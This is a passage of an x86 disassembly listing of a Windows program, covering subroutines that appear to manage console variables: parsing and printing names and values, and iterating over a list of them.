		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40B070	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0B1	proc near		; DATA XREF: ___:00440224o
		mov	eax, offset loc_40B09E
		retn
sub_40B0B1	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B0E0	proc near		; CODE XREF: sub_401028j

var_8		= dword	ptr -8
var_4		= byte ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B122
		mov	edx, [esi+0Ch]
		lea	eax, [esp+0Ch+var_8]
		lea	ecx, [esp+0Ch+var_4]
		push	eax
		push	ecx
		push	edx
		call	sub_4021B2
		mov	edx, [esi+0Ch]
		mov	eax, [esp+18h+var_8]
		lea	ecx, [esp+18h+var_8]
		mov	[esi+8], eax
		push	ecx
		push	1
		push	edx
		mov	[esp+24h+var_8], 0
		call	sub_401050
		add	esp, 18h


loc_40B122:				; CODE XREF: sub_40B0E0+Bj
		pop	esi
		add	esp, 8
		retn
sub_40B0E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B150	proc near		; CODE XREF: sub_401DE3j

var_4		= dword	ptr -4

		push	ecx
		mov	al, [ecx+10h]
		test	al, al
		jz	short loc_40B172
		mov	eax, [ecx+8]
		lea	edx, [esp+4+var_4]
		mov	[esp+4+var_4], eax
		mov	eax, [ecx+0Ch]
		push	edx
		push	1
		push	eax
		call	sub_401050
		add	esp, 0Ch


loc_40B172:				; CODE XREF: sub_40B150+6j
		pop	ecx
		retn
sub_40B150	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B190	proc near		; CODE XREF: sub_401A00j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B190
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+1Ch+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+1Ch+var_4], 1
		call	sub_401753
		lea	edi, [esi+8Eh]
		lea	eax, [esp+1Ch+var_11]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+20h+var_4], 2
		call	sub_401C08
sub_40B190	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 3
		mov	dword ptr [esi], offset	off_43F020
		call	sub_401C03
		mov	ecx, [esp+10h]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B250	proc near		; CODE XREF: sub_401AFAj

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B250
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+18h+var_10], esi
		mov	dword ptr [esi], offset	off_43F020
		lea	edi, [esi+8Eh]
		mov	[esp+18h+var_4], 3
		mov	ecx, edi
		call	sub_401C03
		mov	ecx, edi
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_40155F
sub_40B250	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B2F0	proc near		; CODE XREF: sub_4017F8j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B2F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8Eh]
		call	sub_401C03
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	eax, [esp+64h+var_3C]
		push	3
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_40B2F0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	7
		push	4Fh
		push	12h
		push	1
		push	16h
		lea	edx, [esp+24h]
		push	3
		push	edx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	13h
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	ecx, [esp+3Ch]
		push	3
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017EE
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		lea	ecx, [esp+1Ch]
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B470	proc near		; CODE XREF: sub_40181Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_18		= dword	ptr  1Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, [esp+8+arg_0]
		push	eax
		add	ecx, 1Eh
		call	sub_401FDC
		mov	eax, [esp+8+arg_0]
		mov	edx, [esp+8+arg_C]
		push	edx
		lea	ecx, [eax+33h]
		call	sub_401FDC
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_10]
		mov	edi, [esp+8+arg_8]
		mov	[ecx+48h], dl
		mov	eax, [esp+8+arg_0]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401F50
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_14]
		push	edi
		mov	[ecx+4], dl
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_18]
		mov	[eax+5], ecx
		mov	ecx, [esp+0Ch+arg_0]
		call	sub_401FDC
		lea	edx, [esp+8+arg_0]
		lea	ecx, [esi+8Eh]
		push	edx
		call	sub_401915
sub_40B470	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		retn	1Ch
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B510	proc near		; CODE XREF: sub_401B72j

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_40B510
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		mov	eax, [esp+54h+arg_C]
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	eax
		lea	ecx, [esp+64h+var_24]
		call	sub_401870
		mov	edi, eax
		mov	ecx, [esp+60h+arg_8]
		mov	[esp+60h+var_4], 0
		push	ecx
		lea	ecx, [esp+64h+var_3C]
		call	sub_401870
		mov	ebp, eax
		mov	edx, [esp+60h+arg_4]
		lea	ecx, [esp+60h+var_54]
		push	edx
		mov	byte ptr [esp+64h+var_4], 1
		call	sub_401870
		mov	ecx, [esp+60h+arg_18]
		mov	edx, [esp+60h+arg_14]
		push	ecx
		mov	ecx, [esp+64h+arg_10]
		push	edx
		mov	edx, [esp+68h+arg_0]
		push	ecx
		push	edi
		push	ebp
		push	eax
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+7Ch+var_4], 2
		call	sub_40181B
sub_40B510	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+5Ch], 1
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	byte ptr [esp+5Ch], 0
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+5Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+54h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 54h
		retn	1Ch
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B600	proc near		; CODE XREF: sub_4019DDj

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_401546
		add	esi, 8Eh
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_40145B
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401C85
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jz	short loc_40B681
		mov	edi, [esp+10h+arg_0]


loc_40B646:				; CODE XREF: sub_40B600+7Fj
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_401F78
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4021D0
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_40B68B
		call	sub_40133E
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_401C85
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jnz	short loc_40B646


loc_40B681:				; CODE XREF: sub_40B600+40j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_40B68B:				; CODE XREF: sub_40B600+60j
		call	sub_401F78
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_40B600	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B6D0:				; CODE XREF: ___:00401460j
		push	0FFFFFFFFh
		push	offset loc_439EF8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		mov	eax, [esp+28h]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		call	sub_401870
		mov	ecx, [esp+30h]
		mov	dword ptr [esp+24h], 0
		push	ecx
		push	eax
		mov	ecx, esi
		call	sub_4019DD
		lea	ecx, [esp+4]
		mov	esi, eax
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B760	proc near		; CODE XREF: sub_4015A0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		call	near ptr 77C1CF90h
		nop
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B7B1
		mov	byte ptr [esi+19h], 1


loc_40B7B1:				; CODE XREF: sub_40B760+4Bj
		pop	esi
		retn	8
sub_40B760	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B7E0	proc near		; CODE XREF: sub_401F50j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ecx, esi
		mov	eax, [edi+9]
		push	eax
		call	sub_4015E1
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1CF90h
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B835
		mov	byte ptr [esi+19h], 1


loc_40B835:				; CODE XREF: sub_40B7E0+4Fj
		mov	cl, [edi+4]
		mov	[esi+4], cl
		mov	edx, [edi+5]
		mov	[esi+5], edx
		pop	edi
		pop	esi
		retn	8
sub_40B7E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B870:				; CODE XREF: ___:00401D57j
		fld	dword ptr [esp+8]
		push	esi
		mov	esi, [esp+8]
		sub	esp, 8
		fstp	qword ptr [esp]
		push	offset aF	; "%f"
		push	esi
		call	sub_40102D
		mov	eax, [esp+1Ch]
		add	esp, 10h
		mov	ecx, esi
		mov	[esi+15h], eax
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		fld	dword ptr [esp+10h]
		fcomp	flt_43F024
		mov	[esi+1Ah], eax
		add	esp, 4
		mov	byte ptr [esi+19h], 0
		fnstsw	ax
		test	ah, 1
		jnz	short loc_40B8C1
		mov	byte ptr [esi+19h], 1


loc_40B8C1:				; CODE XREF: ___:0040B8BBj
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B8F0:				; CODE XREF: ___:00401CA8j
		push	ebx
		mov	bl, [esp+0Ch]
		test	bl, bl
		push	esi
		jz	short loc_40B920
		mov	esi, [esp+0Ch]
		push	offset aTrue	; "true"
		mov	ecx, esi
		call	sub_4015E1
		mov	dword ptr [esi+15h], 3F800000h
		mov	dword ptr [esi+1Ah], 1
		mov	[esi+19h], bl
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40B920:				; CODE XREF: ___:0040B8F8j
		mov	esi, [esp+0Ch]
		push	offset aFalse	; "false"
		mov	ecx, esi
		call	sub_4015E1
		xor	eax, eax
		mov	[esi+19h], bl
		mov	[esi+15h], eax
		mov	[esi+1Ah], eax
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B960:				; CODE XREF: ___:00401D7Fj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+10h]
		push	edi
		push	offset dword_4447F4
		push	esi
		call	sub_40102D
		fild	dword ptr [esp+1Ch]
		add	esp, 0Ch
		cmp	edi, 1
		mov	[esi+1Ah], edi
		mov	byte ptr [esi+19h], 0
		fstp	dword ptr [esi+15h]
		jl	short loc_40B990
		mov	byte ptr [esi+19h], 1


loc_40B990:				; CODE XREF: ___:0040B98Aj
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B9B0:				; CODE XREF: ___:loc_401AE1j
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_439F30
		push	eax
		mov	large fs:0, esp
		sub	esp, 4Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+68h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BAF2
		lea	ebx, [esi+69h]
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aCvar	; "(cvar)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	ecx, [esp+6Ch]
		call	sub_401546
		add	ebp, 8Eh
		lea	edx, [esp+10h]
		push	edx
		mov	ecx, ebp
		xor	edi, edi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		mov	[esp+70h], eax
		call	sub_401C85
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jz	loc_40BAEB


loc_40BA56:				; CODE XREF: ___:0040BAE5j
		lea	ecx, [esp+6Ch]
		inc	edi
		call	sub_401F78
		mov	ecx, [eax]
		add	ecx, 33h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+70h]
		call	sub_401F78
		mov	ecx, [eax]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+74h]
		call	sub_401F78
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4017EE
		push	eax
		push	edi
		push	offset aDSSS	; "[%d]	\"%s\" = \"%s\"	(\"%s\")"
		mov	ecx, ebx
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 24h
		push	5DCh
		nop
		call	near ptr 2840000h
		lea	ecx, [esp+6Ch]
		call	sub_40133E
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		call	sub_401C85
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jnz	loc_40BA56


loc_40BAEB:				; CODE XREF: ___:0040BA50j
		mov	al, 1
		jmp	loc_40BC7A
; ---------------------------------------------------------------------------


loc_40BAF2:				; CODE XREF: ___:0040B9E7j
		lea	ecx, [ebp+32h]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40BB85
		push	offset asc_444600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 0
		call	sub_4019DD
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BC78
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017EE
		push	eax
		push	offset aSS_5	; "%s =	\"%s\""
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 1Ch
		jmp	loc_40BC7A
; ---------------------------------------------------------------------------


loc_40BB85:				; CODE XREF: ___:0040BB04j
		lea	ecx, [ebp+60h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BC78
		push	offset asc_444600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 1
		call	sub_4019DD
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BC78
		push	edi
		lea	ecx, [esp+18h]
		call	sub_4014D3
		mov	ebx, 2
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	ebx
		push	eax
		mov	ecx, esi
		mov	[esp+74h], ebx
		call	sub_4011EA
		push	eax
		push	edi
		mov	ecx, ebp
		mov	byte ptr [esp+6Ch], 3
		call	sub_401F50
		lea	ecx, [esp+44h]
		mov	[esp+64h], bl
		call	sub_401226
		lea	ecx, [esp+14h]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017EE
		push	eax
		push	offset aSSWasS	; "%s =	\"%s\" [was \"%s\"]"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 20h
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_40BC7A
; ---------------------------------------------------------------------------


loc_40BC78:				; CODE XREF: ___:0040BB40j
					; ___:0040BB97j ...
		xor	al, al


loc_40BC7A:				; CODE XREF: ___:0040BAEDj
					; ___:0040BB80j ...
		mov	ecx, [esp+5Ch]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 58h
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BD50	proc near		; CODE XREF: sub_401C08j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_4021EE
sub_40BD50	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BD90	proc near		; CODE XREF: sub_40155Fj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C85
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401FEB
sub_40BD90	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE00	proc near		; CODE XREF: sub_40145Bj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_402117
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_4014B0
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_40BE00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE40	proc near		; CODE XREF: sub_401C85j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_4014B0
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_40BE40	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BE70	proc near		; CODE XREF: sub_401915j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401C85
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401C5D
sub_40BE70	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BEB0	proc near		; CODE XREF: sub_401C03j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C85
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		pop	esi
		add	esp, 0Ch
		retn
sub_40BEB0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF00	proc near		; CODE XREF: sub_401546j
		push	esi
		mov	esi, ecx
		call	sub_402158
		mov	eax, esi
		pop	esi
		retn
sub_40BF00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF20	proc near		; CODE XREF: sub_401F78j
		mov	eax, [ecx]
		push	eax
		call	sub_401848
		add	esp, 4
		retn
sub_40BF20	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF40	proc near		; CODE XREF: sub_40133Ej
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_402117
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_40BF40	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF70	proc near		; CODE XREF: sub_40136Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401CFD
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_40BF70	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BFA0	proc near		; CODE XREF: sub_401C5Dj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4016AE
		mov	edi, eax
		push	edi
		call	sub_40215D
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_4021EE
sub_40BFA0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_40215D
		push	edi
		mov	[eax], ebx
		call	sub_40215D
		mov	edi, [eax]
		push	edi
		call	sub_40215D
		mov	ecx, [eax]
		push	ecx
		call	sub_402117
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401848
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401F32
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_4014B0
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C040	proc near		; CODE XREF: sub_40124Ej

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jz	short loc_40C09A


